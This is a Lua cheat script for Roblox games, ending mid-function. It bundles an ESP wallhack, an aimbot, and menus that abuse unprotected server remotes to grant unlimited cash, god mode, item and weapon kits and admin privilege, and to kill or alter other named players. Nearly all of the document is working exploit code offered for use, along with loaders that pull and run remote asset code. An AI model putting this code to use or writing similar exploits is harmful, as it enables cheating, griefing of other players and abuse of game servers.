- txtlbl2.Text = (math.floor(base.Parent.Humanoid.Health*100)/100)
- txtlbl2.BackgroundTransparency = 1
- txtlbl2.Position = UDim2.new(0,0,0,-25)
- txtlbl2.Size = UDim2.new(1,0,10,0)
- txtlbl2.Font = "SourceSansBold"
- txtlbl2.FontSize = "Size10"
- txtlbl2.TextStrokeTransparency = 0.5
- if team then
- txtlbl.TextColor3 = Color3.new(255,0,0)
- txtlbl2.TextColor3 = Color3.new(255,0,0)
- frame.BackgroundColor3 = Color3.new(255,0,0)
- elseif base.Parent.Name == "friend" or base.Parent.Name == "friend2" then
- txtlbl.TextColor3 = Color3.new(0,255,0)
- txtlbl2.TextColor3 = Color3.new(0,255,0)
- frame.BackgroundColor3 = Color3.new(0,255,0)
- txtlbl.Text = "FRIEND"
- txtlbl.FontSize = "Size14"
- txtlbl2.FontSize = "Size14"
- elseif base.Parent.Name == game.Players.LocalPlayer.Name then
- txtlbl2.Transparency = 1
- txtlbl.Transparency = 1
- frame.Transparency = 1
- else
- txtlbl.TextColor3 = Color3.new(255,0,0)
- txtlbl2.TextColor3 = Color3.new(255,0,0)
- frame.BackgroundColor3 = Color3.new(255,0,0)
- end
- end
- function Find()
- Clear()
- track = true
- spawn(function()
- while wait() do
- if track then
- Clear()
- for _,v in pairs(game.Players:players()) do
- if v.Character and v.Character.Head then
- Create(v.Character.Head, false)
- end
- end
- end
- end
- wait(1)
- end)
- end
- function Clear()
- for _,v in pairs(player.PlayerGui:children()) do
- if v.Name == "tracker" and v:isA("BillboardGui") then
- v:Destroy()
- end
- end
- end
- mouse=game.Players.LocalPlayer:GetMouse()
- mouse.keyDown:connect(function(key)
- if key == "v" then
- if not esp then
- Find()
- print("ESP ENABLED")
- esp = true
- else
- Clear()
- track = false
- print("ESP DISABLED")
- esp = false
- end
- end
- end)
- --aimbot
- function GetNearestPlayerToMouse()
- local PLAYERS = {}
- local PLAYER_HOLD = {}
- local DISTANCES = {}
- for i, v in pairs(game.Players:GetPlayers()) do
- if v ~= PLAYER then
- table.insert(PLAYERS, v)
- end
- end
- for i, v in pairs(PLAYERS) do
- if _G.FREE_FOR_ALL == false then
- if v and (v.Character) ~= nil and v.TeamColor ~= PLAYER.TeamColor then
- local AIM = v.Character:FindFirstChild(_G.AIM_AT)
- if AIM ~= nil then
- local DISTANCE = (AIM.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude
- local RAY = Ray.new(game.Workspace.CurrentCamera.CoordinateFrame.p, (MOUSE.Hit.p - CC.CoordinateFrame.p).unit * DISTANCE)
- local HIT,POS = game.Workspace:FindPartOnRay(RAY, game.Workspace)
- local DIFF = math.floor((POS - AIM.Position).magnitude)
- PLAYER_HOLD[v.Name .. i] = {}
- PLAYER_HOLD[v.Name .. i].dist = DISTANCE
- PLAYER_HOLD[v.Name .. i].plr = v
- PLAYER_HOLD[v.Name .. i].diff = DIFF
- table.insert(DISTANCES, DIFF)
- end
- end
- elseif _G.FREE_FOR_ALL == true then
- local AIM = v.Character:FindFirstChild(_G.AIM_AT)
- if AIM ~= nil then
- local DISTANCE = (AIM.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude
- local RAY = Ray.new(game.Workspace.CurrentCamera.CoordinateFrame.p, (MOUSE.Hit.p - CC.CoordinateFrame.p).unit * DISTANCE)
- local HIT,POS = game.Workspace:FindPartOnRay(RAY, game.Workspace)
- local DIFF = math.floor((POS - AIM.Position).magnitude)
- PLAYER_HOLD[v.Name .. i] = {}
- PLAYER_HOLD[v.Name .. i].dist = DISTANCE
- PLAYER_HOLD[v.Name .. i].plr = v
- PLAYER_HOLD[v.Name .. i].diff = DIFF
- table.insert(DISTANCES, DIFF)
- end
- end
- end
- if unpack(DISTANCES) == nil then
- return false
- end
- local L_DISTANCE = math.floor(math.min(unpack(DISTANCES)))
- if L_DISTANCE > 20 then
- return false
- end
- for i, v in pairs(PLAYER_HOLD) do
- if v.diff == L_DISTANCE then
- return v.plr
- end
- end
- return false
- end
- local TRACK = false
- MOUSE.KeyDown:connect(function(KEY)
- KEY = KEY:lower():byte()
- if KEY == _G.BIND then
- ENABLED = true
- end
- end)
- MOUSE.KeyUp:connect(function(KEY)
- KEY = KEY:lower():byte()
- if KEY == _G.BIND then
- ENABLED = false
- end
- end)
- game:GetService('RunService').RenderStepped:connect(function()
- if ENABLED then
- local TARGET = GetNearestPlayerToMouse()
- if TARGET.Name == "Whitelist kid here" or TARGET.Name == "second whitelist kid here" then
- else
- if (TARGET ~= false) then
- local AIM = TARGET.Character:FindFirstChild(_G.AIM_AT)
- if AIM then
- CC.CoordinateFrame = CFrame.new(CC.CoordinateFrame.p, AIM.CFrame.p)
- end
- end
- end
- end
- end)
- end
- --Loadstrings
- function justice()
- --[[
- Justice v.2.1
- Created by RustehBusteh (Donald J Trump), thank's for using! :)
- --]]
- --[[ VALUES ]]--
- VERSION = "2.1"
- --[[ SUPPORTED GAMES ]]--
- LasVegas = 163865146
- PhantomForces = 292439477
- ApocRisingReimagined = 237590657
- ApocRisingReborn = 237590761
- --EpicMiniGames = ""
- --[[ GAME DETECTOR ]] --
- if game.PlaceId == LasVegas then
- game_Supported = "YES"
- elseif game.PlaceId == PhantomForces then
- game_Supported = "YES"
- elseif game.PlaceId == ApocRisingReimagined then
- game_Supported = "YES"
- elseif game.PlaceId == ApocRisingReborn then
- game_Supported = "YES"
- --elseif game.PlaceId == EpicMiniGames then
- --game_Supported = "YES"
- else
- game_Supported = "NO"
- end
- Asset123 = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId)
- Game_name = Asset123.Name
- --[[ GUI CREATING ]]--
- game:GetObjects("rbxassetid://378228753")[1].Parent = game.CoreGui
- wait(1)
- --
- MainGui = game.CoreGui.JusticeGui.MainGui
- GameGui = game.CoreGui.JusticeGui.GameGui
- CustomGui = game.CoreGui.JusticeGui.CustomGui
- ApocGui = game.CoreGui.JusticeGui.ApocGui
- OpenGui = game.CoreGui.JusticeGui.Open
- -- NotSupportedGui = game.CoreGui.JusticeGui.NotSupported
- --[[ INVISIBLE AND VISIBLE GUI FUNCTIONS ]] --
- function make_gui_visible(Gui)
- Gui.Position = UDim2.new(.5,-200,.5,-100)
- Gui.Visible = true
- end
- function make_gui_invisible(Gui)
- Gui.Position = UDim2.new(999,999,999,999)
- Gui.Visible = false
- end
- make_gui_invisible(MainGui)
- make_gui_invisible(GameGui)
- make_gui_invisible(CustomGui)
- make_gui_invisible(ApocGui)
- OpenGui.Visible = false
- -- make_gui_invisible(NotSupportedGui)
- --[[ GUI EDITING ]]--
- -- WELCOME GUI
- MainGui.Welcome.Text = ("Welcome, " ..game.Players.LocalPlayer.Name.. "!")
- MainGui.Title.Text = ("Justice v." ..VERSION)
- MainGui.Game.Text = ("Game: " ..Game_name.. " // ID: " ..game.PlaceId)
- MainGui.GameSupported.Text = ("Game Supported: " ..game_Supported)
- -- LOADING GUI
- GameGui.Game.Text = ("Welcome, " ..game.Players.LocalPlayer.Name.. "!")
- GameGui.Log1.Text = ""
- GameGui.Log2.Text = ""
- GameGui.Log3.Text = ""
- GameGui.Log4.Text = ""
- -- CUSTOM GUI
- CustomGui.Page1.Welcome.Text = ("Game: " ..Game_name.. " // ID: " ..game.PlaceId)
- CustomGui.Page2.Welcome.Text = ("Game: " ..Game_name.. " // ID: " ..game.PlaceId)
- CustomGui.Page1.Button1.Text = ""
- CustomGui.Page1.Button2.Text = ""
- CustomGui.Page1.Button3.Text = ""
- CustomGui.Page1.Button4.Text = ""
- CustomGui.Page1.Button5.Text = ""
- CustomGui.Page1.Button6.Text = ""
- CustomGui.Page1.Button7.Text = ""
- CustomGui.Page1.Button8.Text = ""
- CustomGui.Page2.Button1.Text = ""
- CustomGui.Page2.Button2.Text = ""
- CustomGui.Page2.Button3.Text = ""
- CustomGui.Page2.Button4.Text = ""
- CustomGui.Page2.Button5.Text = ""
- CustomGui.Page2.Button6.Text = ""
- CustomGui.Page2.Button7.Text = ""
- CustomGui.Page2.Button8.Text = ""
- -- APOC GUI
- ApocGui.Page1.Welcome.Text = ("Game: " ..Game_name.. " // ID: " ..game.PlaceId)
- ApocGui.Page2.Welcome.Text = ("Game: " ..Game_name.. " // ID: " ..game.PlaceId)
- ApocGui.Page1.Button1.Text = ""
- ApocGui.Page1.Button2.Text = ""
- ApocGui.Page1.Button3.Text = ""
- ApocGui.Page1.Button4.Text = ""
- ApocGui.Page1.Button5.Text = ""
- ApocGui.Page1.Button6.Text = ""
- ApocGui.Page1.Button7.Text = ""
- ApocGui.Page1.Button8.Text = ""
- ApocGui.Page1.Custom.Text = "LOCALPLAYER"
- ApocGui.Page2.Button1.Text = ""
- ApocGui.Page2.Button2.Text = ""
- ApocGui.Page2.Button3.Text = ""
- ApocGui.Page2.Button4.Text = ""
- ApocGui.Page2.Button5.Text = ""
- ApocGui.Page2.Button6.Text = ""
- ApocGui.Page2.Custom.Text = "SERVER"
- -- [[ OPEN GUI FUNCTIONS ]]--
- OpenGui.MouseButton1Down:connect(function()
- OpenGui.Visible = false
- wait(.2)
- if game.PlaceId == ApocRisingReimagined or game.PlaceId == ApocRisingReborn then
- make_gui_visible(ApocGui)
- else
- make_gui_visible(CustomGui)
- end
- end)
- -- [[ MAIN AND GAME FUNCTIONS ]] --
- function functionMain_Gui()
- make_gui_visible(MainGui)
- MainGui.Open.MouseButton1Down:connect(function()
- MainGui:Destroy()
- functionGame_Gui()
- end)
- MainGui.Close.MouseButton1Down:connect(function()
- game.CoreGui.JusticeGui:Destroy() -- rip
- end)
- end
- function functionGame_Gui()
- make_gui_visible(GameGui)
- GameGui.Close.Visible = false
- GameGui.Close.MouseButton1Down:connect(function()
- if game_Supported == "YES" then
- GameGui:Destroy()
- if game.PlaceId == ApocRisingReimagined or game.PlaceId == ApocRisingReborn then
- functionApocGui()
- else
- functionCustomGui()
- end
- else
- -- make_gui_visible(NotSupported)
- GameGui:Destroy()
- end
- end)
- if game_Supported == "YES" then
- wait(1)
- GameGui.Log1.Text = "Game supported!"
- wait(1)
- GameGui.Log1.Text = "Loaded custom commands!"
- GameGui.Log2.Text = "Game supported!"
- wait(1)
- GameGui.Close.Text = "CUSTOM COMMANDS"
- else
- wait(1)
- GameGui.Log1.Text = "Game not supported!"
- wait(1)
- end
- GameGui.Close.Visible = true
- end
- -- [[ CUSTOM GUI FUNCTIONS ]] --
- function functionCustomGui()
- make_gui_visible(CustomGui)
- CustomGui.Page1.Close.MouseButton1Down:connect(function()
- make_gui_invisible(CustomGui)
- wait(.2)
- OpenGui.Visible = true
- end)
- CustomGui.Page2.Close.MouseButton1Down:connect(function()
- make_gui_invisible(CustomGui)
- wait(.2)
- OpenGui.Visible = true
- end)
- CustomGui.Page1.Page.Visible = false
- CustomGui.Page2.Visible = false
- if game.PlaceId == LasVegas then
- CustomGui.Page1.Button1.Text = "Give 10 Million Cash"
- CustomGui.Page1.Button2.Text = ""
- CustomGui.Page1.Button3.Text = ""
- CustomGui.Page1.Button4.Text = ""
- CustomGui.Page1.Button5.Text = ""
- CustomGui.Page1.Button6.Text = ""
- CustomGui.Page1.Button7.Text = ""
- CustomGui.Page1.Button8.Text = ""
- CustomGui.Page1.Button1.MouseButton1Down:connect(function()
- local CASH_AMOUNT = math.huge
- game.ReplicatedStorage.Events.MoneyRequest:FireServer(CASH_AMOUNT, 'Cash', true)
- end)
- elseif game.PlaceId == PhantomForces then
- CustomGui.Page1.Button1.Text = "Load PhantomX Gui"
- CustomGui.Page1.Button1.MouseButton1Down:connect(function()
- game:GetObjects('rbxassetid://311949717')[1].Parent = game.CoreGui
- local PhantomX = game.CoreGui:WaitForChild('PhantomX')
- local script = Instance.new('Script', game.CoreGui)
- script.Name = ''
- script.Source = PhantomX.CONTROL.Source
- loadstring(script.Source)()
- loadstring(game:GetObjects("rbxassetid://298918246")[1].Source)()
- end)
- --elseif game.PlaceId == EpicMiniGames then
- end
- end
- -- [[ APOCALYPSE RISING ]] --
- function LocalPlayerGod()
- _G.lpgod = true
- local ChangeProp = game.Lighting.Remote.ChangeProperty
- local Plr = game.Players.LocalPlayer
- while _G.lpgod == true and wait() do -- health hack
- ChangeProp:FireServer(Plr.Character.Humanoid, "Health", 100)
- end
- end
- function NoLocalPlayerGod()
- _G.lpgod = false
- end
- function UnlimitedHunger()
- _G.unlimhunger = true
- while _G.unlimhunger == true and wait(2) do
- game.Players.LocalPlayer.playerstats.Hunger.Value = 100
- end
- end
- function UnlimitedThirst()
- _G.unlimthirst = true
- while _G.unlimthirst == true and wait(2) do
- game.Players.LocalPlayer.playerstats.Thirst.Value = 100
- end
- end
- -- [[ APOCALYPSE GUI FUNCTIONS ]] --
- function functionApocGui()
- make_gui_visible(ApocGui)
- if game.PlaceId == ApocRisingReimagined or game.PlaceId == ApocRisingReborn then
- ApocGui.Page1.Visible = true
- ApocGui.Page2.Visible = false
- -- CLOSE
- ApocGui.Page1.Close.MouseButton1Down:connect(function()
- make_gui_invisible(ApocGui)
- wait(.2)
- OpenGui.Visible = true
- end)
- ApocGui.Page2.Close.MouseButton1Down:connect(function()
- make_gui_invisible(ApocGui)
- wait(.2)
- OpenGui.Visible = true
- end)
- -- NEXT/BACK
- ApocGui.Page1.Page.Text = "NEXT"
- ApocGui.Page1.Page.MouseButton1Down:connect(function()
- ApocGui.Page1.Visible = false
- ApocGui.Page2.Visible = true
- end)
- ApocGui.Page2.Page.Text = "BACK"
- ApocGui.Page2.Page.MouseButton1Down:connect(function()
- ApocGui.Page1.Visible = true
- ApocGui.Page2.Visible = false
- end)
- ApocGui.Page1.Button1.Text = "SEMI-GOD"
- ApocGui.Page1.Button2.Text = "UNSEMI-GOD"
- ApocGui.Page1.Button3.Text = "UNLIMITED HUNGER"
- ApocGui.Page1.Button4.Text = "UNLIMITED THIRST"
- ApocGui.Page1.Button5.Text = "MK 17 KIT"
- ApocGui.Page1.Button6.Text = "G36K KIT"
- ApocGui.Page1.Button7.Text = "FAL KIT"
- ApocGui.Page1.Button8.Text = "CAR REPAIR KIT"
- ApocGui.Page2.Button1.Text = "SEMI-GOD"
- ApocGui.Page2.Button2.Text = "N/A"
- ApocGui.Page2.Button3.Text = "KILL"
- ApocGui.Page2.Button4.Text = "N/A"
- ApocGui.Page2.Button5.Text = "GOTO(WIP)"
- ApocGui.Page2.Button6.Text = "BRING(WIP)"
- ApocGui.Page1.Button1.MouseButton1Down:connect(function()
- LocalPlayerGod()
- print("lp godded")
- end)
- ApocGui.Page1.Button2.MouseButton1Down:connect(function()
- NoLocalPlayerGod()
- print("lp ungodded")
- end)
- ApocGui.Page1.Button3.MouseButton1Down:connect(function()
- UnlimitedHunger()
- print("unlimited hunger")
- end)
- ApocGui.Page1.Button4.MouseButton1Down:connect(function()
- UnlimitedThirst()
- print "unlimited thirst"
- end)
- ApocGui.Page1.Button5.MouseButton1Down:connect(function()
- local function s(n)
- local new = game.Lighting.LootDrops[n]:Clone()
- new.Parent = workspace
- new:MoveTo(game.Players.LocalPlayer.Character.Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- end
- t ={"ACOG","Mk 17","Compass","CBJ-MS","TEC9Ammo32","TEC9Ammo32","Sabre","MilitaryPackBlack","Binoculars","Detonator","Suppressor9","Suppressor762","Grip","Reflex","GPS","Map","C4","C4","Entrencher","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50"}
- for i = 1, #t do
- s(t[i])
- end
- print "mk 17 kit"
- end)
- ApocGui.Page1.Button6.MouseButton1Down:connect(function()
- local function AA(BB)
- local new = game.Lighting.LootDrops[BB]:Clone()
- new.Parent = workspace
- new:MoveTo(game.Players.LocalPlayer.Character.Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- end
- CC ={"ACOG","G36K","Compass","CBJ-MS","TEC9Ammo32","TEC9Ammo32","Sabre","MilitaryPackBlack","Binoculars","Detonator","Suppressor9","Suppressor556","Grip","Reflex","GPS","Map","C4","C4","Entrencher","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100",}
- for DD = 1, #CC do
- AA(CC[DD])
- end
- end)
- ApocGui.Page1.Button7.MouseButton1Down:connect(function()
- local function Ab(Ac)
- local new = game.Lighting.LootDrops[Ac]:Clone()
- new.Parent = workspace
- new:MoveTo(game.Players.LocalPlayer.Character.Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- end
- Aa ={"ACOG","FAL","Compass","CBJ-MS","TEC9Ammo32","TEC9Ammo32","Sabre","MilitaryPackBlack","Binoculars","Detonator","Suppressor9","Suppressor762","Grip","Reflex","GPS","Map","C4","C4","Entrencher","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50"}
- for Ad = 1, #Aa do
- Ab(Aa[Ad])
- end
- end)
- ApocGui.Page1.Button8.MouseButton1Down:connect(function()
- local function Bc(Bb)
- local new = game.Lighting.LootDrops[Bb]:Clone()
- new.Parent = workspace
- new:MoveTo(game.Players.LocalPlayer.Character.Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- end
- Tt ={"ReinforcedWheel","ReinforcedWheel","ReinforcedWheel","ReinforcedWheel","ReinforcedWheel","ReinforcedWheel","BallisticGlass","ArmorPlates","FuelTank","EngineParts","ScrapMetal","JerryCan","JerryCan"}
- for cC = 1, #Tt do
- Bc(Tt[cC])
- end
- end)
- ApocGui.Page2.Username.Text = "Username (Exact)"
- ApocGui.Page2.Button1.MouseButton1Down:connect(function()
- local input = ApocGui.Page2.Username.Text
- playr = game.Players:FindFirstChild(input,true)
- while wait() do
- game.Lighting.Remote.ChangeProperty:FireServer(playr.Character.Humanoid, "Health", 100)
- end
- end)
- ApocGui.Page2.Button2.MouseButton1Down:connect(function()
- print("n/a")
- end)
- ApocGui.Page2.Button3.MouseButton1Down:connect(function()
- local input = ApocGui.Page2.Username.Text
- playr = game.Players:FindFirstChild(input,true)
- game.Lighting.Remote.AddDamage:FireServer(playr.Character.Humanoid,100)
- end)
- ApocGui.Page2.Button4.MouseButton1Down:connect(function()
- end)
- ApocGui.Page2.Button5.MouseButton1Down:connect(function()
- end)
- ApocGui.Page2.Button6.MouseButton1Down:connect(function()
- end)
- end
- end
- -- [[ RUN ]] --
- functionMain_Gui()
- end
- function spawner()
- wait(1)
- print("Version 3.1")
- game:GetObjects("rbxassetid://421423214")[1].Parent = game.CoreGui
- wait(1)
- local GUI = game.CoreGui.ApocGui.BackgroundFrame.DragFrame.Main.BackgroundFrame.Vals
- GUI.Spawn.MouseButton1Down:connect(function()
- local Text1 = GUI:FindFirstChild("Username").Text
- local Text2 = GUI:FindFirstChild("SlotNumber").Text
- local Text3 = GUI:FindFirstChild("ItemID").Text
- local Player = game.Players:FindFirstChild(Text1, true)
- local SlotNumber = "slot" .. Text2
- local ItemId = tonumber(Text3)
- if ItemId == 4016 then
- game.Lighting.Remote.AddObject:FireServer(Player.playerstats.slots.slotbackpack, 4016)
- print("Backpack Spawned")
- else
- game.Lighting.Remote.AddObject:FireServer(Player.playerstats.slots:FindFirstChild(SlotNumber), ItemId)
- print("Item Spawned")
- end
- -- game.Lighting.Remote.AddObject:FireServer(game.Players.LocalPlayer.playerstats.slots.slot1, 53)
- end)
- -- loadstring(game:GetObjects("rbxassetid://386866428")[1].Source)()
- -- http://www.roblox.com/item.aspx?id=386713473
- --Loader-- http://www.roblox.com/item.aspx?id=386866428
- --game.Lighting.Remove.AddObject:FireServer(Player.playerstats.slots:FindFirstChild("slotbackpack"), ItemId)
- end
- function secondgod()
- if game.CoreGui:FindFirstChild('APOC') then
- game.CoreGui.APOC:Destroy()
- end
- game:GetObjects('rbxassetid://291330215')[1].Parent = game.CoreGui
- wait(0.1)
- local Player = game.Players.LocalPlayer
- local apocGUI = game.CoreGui.APOC
- local MAIN = apocGUI.MAIN
- local Open = apocGUI.Open
- local Exit = MAIN.Exit
- Open:TweenPosition(UDim2.new(0,0,0,380), 'InOut', 'Quad', 0.5, true)
- local Clip = true
- local ESP = false
- local Floating = false
- local Stamina = false
- local BoostReady = true
- local GodMode = false
- -- Open and Exit --
- Open.MouseButton1Down:connect(function()
- Open.Active = false
- Exit.Active = true
- Open:TweenPosition(UDim2.new(0,-30,0,380), 'InOut', 'Quad', 0.5, true)
- MAIN:TweenPosition(UDim2.new(0,10,0,420), 'InOut', 'Quad', 0.5, true)
- end)
- Exit.MouseButton1Down:connect(function()
- Open.Active = true
- Exit.Active = false
- Open:TweenPosition(UDim2.new(0,0,0,380), 'InOut', 'Quad', 0.5, true)
- MAIN:TweenPosition(UDim2.new(0,-230,0,420), 'InOut', 'Quad', 0.5, true)
- end)
- -- ESP --
- local track = false
- function Create(base, team)
- local espMAIN = apocGUI.ESP:Clone()
- local F = espMAIN.DOT
- espMAIN.Parent = Player.PlayerGui
- espMAIN.Adornee = base
- F.Visible = true
- end
- function Clear()
- for _,v in pairs(Player.PlayerGui:children()) do
- if v.Name == "ESP" and v:IsA("BillboardGui") then
- v:Destroy()
- end
- end
- end
- function Find()
- Clear()
- track = true
- spawn(function()
- while wait() do
- if track then
- Clear()
- for i,v in pairs(game.Players:players()) do
- if v.Character and v.Character.Head then
- Create(v.Character.Head, true)
- end
- end
- end
- wait(1)
- end
- end)
- end
- -- Night Vision --
- function NightVision()
- local nvGUI = Instance.new('ScreenGui', Player.PlayerGui)
- nvGUI.Name = 'NightVision'
- local nvMAIN = Instance.new('TextLabel', nvGUI)
- nvMAIN.Name = 'MAIN'
- nvMAIN.BackgroundColor = BrickColor.new(0,1,0)
- nvMAIN.BackgroundTransparency = 0.75
- nvMAIN.BorderSizePixel = 0
- nvMAIN.Size = UDim2.new(1,0,1,0)
- nvMAIN.Text = ''
- for i,v in pairs(game.Players:GetChildren()) do
- if v and v.Character and not (v.Name == '' .. Player.Name) then
- for i,v in pairs(v.Character:GetChildren()) do
- if v:IsA('BasePart') then
- local nvBox = Instance.new('SelectionBox', nvMAIN)
- nvBox.Adornee = v
- nvBox.Color = BrickColor.new('Lime green')
- end
- end
- end
- end
- end
- -- Main Functions --
- -- NoClip --
- MAIN.NoClip.MouseButton1Down:connect(function()
- MAIN.NoClip.Visible = false
- MAIN.Clip.Visible = true
- Clip = false
- wait(1)
- Player.PlayerGui.ChildAdded:connect(function(NC)
- delay(0,function()
- if NC.Name == 'NC' then
- NC:Destroy()
- end
- end)
- end)
- game:GetService('RunService').Stepped:connect(function()
- game.Workspace[Player.Name].Torso.CanCollide = Clip
- game.Workspace[Player.Name].Head.CanCollide = Clip
- end)
- game.Workspace[Player.Name].Torso.Changed:connect(function()
- game.Workspace[Player.Name].Torso.CanCollide = Clip
- game.Workspace[Player.Name].Head.CanCollide = Clip
- end)
- end)
- MAIN.Clip.MouseButton1Down:connect(function()
- MAIN.Clip.Visible = false
- MAIN.NoClip.Visible = true
- Clip = true
- end)
- -- ESP --
- MAIN.ESPF.MouseButton1Down:connect(function()
- MAIN.ESPF.Visible = false
- MAIN.ESPT.Visible = true
- Find()
- ESP = true
- end)
- MAIN.ESPT.MouseButton1Down:connect(function()
- MAIN.ESPT.Visible = false
- MAIN.ESPF.Visible = true
- Clear()
- track = false
- ESP = false
- end)
- -- Floating --
- MAIN.FloatF.MouseButton1Down:connect(function()
- MAIN.FloatF.Visible = false
- MAIN.FloatT.Visible = true
- Floating = true
- local Float = apocGUI.Float:Clone()
- Float.Parent = Player.Character
- Float.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0)
- spawn(function()
- while wait(0.1) do
- if Player.Character:FindFirstChild('Float') then
- Float.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0)
- else
- break
- end
- end
- end)
- end)
- MAIN.FloatT.MouseButton1Down:connect(function()
- MAIN.FloatT.Visible = false
- MAIN.FloatF.Visible = true
- Floating = false
- if Player.Character:FindFirstChild('Float') then
- Player.Character.Float:Destroy()
- end
- end)
- -- Thirst --
- MAIN.Thirst.MouseButton1Down:connect(function()
- Player.playerstats.Thirst.Value = MAIN.Thirst.TNumber.Text
- end)
- -- Hunger --
- MAIN.Hunger.MouseButton1Down:connect(function()
- Player.playerstats.Hunger.Value = MAIN.Hunger.HNumber.Text
- end)
- -- Health --
- MAIN.Health.MouseButton1Down:connect(function()
- Player.Character.Humanoid.Health = MAIN.Hunger.HNumber.Text
- end)
- -- Stamina --
- MAIN.StaminaF.MouseButton1Down:connect(function()
- MAIN.StaminaF.Visible = false
- MAIN.StaminaT.Visible = true
- Stamina = true
- while wait() do
- if Stamina == true then
- Player.Backpack.GlobalFunctions.Stamina.Value = 100
- end
- end
- end)
- MAIN.StaminaT.MouseButton1Down:connect(function()
- MAIN.StaminaT.Visible = false
- MAIN.StaminaF.Visible = true
- Stamina = false
- end)
- -- Boost --
- MAIN.Boost.MouseButton1Down:connect(function()
- MAIN.FloatF.Visible = true
- MAIN.FloatT.Visible = false
- Floating = false
- if Player.Character:FindFirstChild('Float') then
- Player.Character.Float:Destroy()
- end
- if BoostReady == true then
- Player.Character.HumanoidRootPart.Velocity = Player.Character.HumanoidRootPart.CFrame.lookVector * 500
- BoostReady = false
- MAIN.Boost.Text = '5'
- wait(1)
- MAIN.Boost.Text = '4'
- wait(1)
- MAIN.Boost.Text = '3'
- wait(1)
- MAIN.Boost.Text = '2'
- wait(1)
- MAIN.Boost.Text = '1'
- wait(1)
- BoostReady = true
- MAIN.Boost.Text = 'Boost'
- end
- end)
- -- GodMode --
- MAIN.GodModeF.MouseButton1Down:connect(function()
- MAIN.GodModeF.Visible = false
- MAIN.GodModeT.Visible = true
- GodMode = true
- if GodMode == true then
- repeat wait()
- Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
- wait()
- Player.playerstats.Health.Value = Player.Character.Humanoid.Health
- until GodMode == false
- end
- end)
- MAIN.GodModeT.MouseButton1Down:connect(function()
- MAIN.GodModeT.Visible = false
- MAIN.GodModeF.Visible = true
- GodMode = false
- end)
- -- NoGrav --
- MAIN.NoGrav.MouseButton1Down:connect(function()
- MAIN.NoGrav.Visible = false
- MAIN.Grav.Visible = true
- for i,v in pairs(Player.Character.Torso:GetChildren()) do
- if v.Name == 'NoGrav' and v:IsA('BodyForce') then
- v:Destroy()
- end
- end
- local BF = Instance.new('BodyForce', Player.Character.Torso)
- BF.Name = 'NoGrav'
- BF.Force = Vector3.new(0,4000,0)
- end)
- MAIN.Grav.MouseButton1Down:connect(function()
- MAIN.Grav.Visible = false
- MAIN.NoGrav.Visible = true
- for i,v in pairs(Player.Character.Torso:GetChildren()) do
- if v.Name == 'NoGrav' and v:IsA('BodyForce') then
- v:Destroy()
- end
- end
- end)
- -- Night Vision --
- MAIN.NightVision.MouseButton1Down:connect(function()
- MAIN.NightVision.Visible = false
- MAIN.Vision.Visible = true
- NightVision()
- end)
- MAIN.Vision.MouseButton1Down:connect(function()
- MAIN.Vision.Visible = false
- MAIN.NightVision.Visible = true
- for i,v in pairs(Player.PlayerGui:GetChildren()) do
- if v.Name == 'NightVision' and v:IsA('ScreenGui') then
- v:Destroy()
- end
- end
- end)
- end
- --Hills gui
- function hills()
- game.ReplicatedStorage.Passcode.OnClientEvent:connect(function(kek)
- print(kek)
- _G.Passcode = kek
- end)
- rek2 = _G.Passcode
- rek2 = 0
- warn(game.Workspace.FilteringEnabled)
- local c = game.CoreGui.RobloxGui
- local s = Instance.new("ScreenGui", c)
- s.Name = "Host"
- local t = Instance.new("TextBox", s)
- local i = Instance.new("ImageLabel", s)
- i.Name = "logo"
- i.Position = UDim2.new(0, 1266, 0, 680)
- i.Size = UDim2.new(0, 100, 0, -21)
- i.BackgroundColor3 = Color3.new(1,0,0)
- i.ImageTransparency = 1
- i.BackgroundTransparency = 1
- i.Image = "rbxassetid://422501277"
- t.Name = ""
- t.Position = UDim2.new(0, 0, 1, 0)
- t.Size = UDim2.new(0, 1265, 0, -20)
- t.BackgroundColor3 = Color3.new(1,0,0)
- t.BackgroundTransparency = 1
- t.TextColor3 = Color3.new(1, 1, 1)
- t.TextXAlignment = Enum.TextXAlignment.Left
- t.ClearTextOnFocus = true
- t.TextTransparency = 1
- t.FontSize = "Size12"
- local flyspeed = 64
- local function giveAdminGui(p)
- local int
- local function recurseInts(p)
- local c = p:GetChildren()
- for i = 1, #c do
- if c[i].ClassName == "IntValue" then
- int = c[i]
- else
- recurseInts(c[i])
- end
- end
- end
- recurseInts(workspace)
- local function setProperty(obj, prop, val)
- game.Lighting.Remote.ChangeProperty:FireServer(obj, prop, val)
- end
- setProperty(int, "Name", "privilege")
- setProperty(int, "Parent", p)
- setProperty(p.Character.Head, "Parent")
- end
- local function guilocate()
- local sg = Instance.new("ScreenGui", game.CoreGui)
- local wl = {game.Players.LocalPlayer.Name}
- local function guinate(p)
- pcall(function()sg["label"..p.Name]:Destroy() end)
- p.Character:WaitForChild("Torso")
- local gui = Instance.new("TextLabel",sg)
- gui.Name = "label"..p.Name
- gui.TextColor3 = Color3.new(0, 1, 0)
- gui.Size = UDim2.new(0, 2, 0, 2)
- gui.FontSize = "Size8"
- gui.BorderSizePixel = 0
- gui.Font = "ArialBold"
- gui.Text = p.Name.."\n "
- gui.TextYAlignment = "Bottom"
- local conn
- conn = game:GetService("RunService").RenderStepped:connect(function()
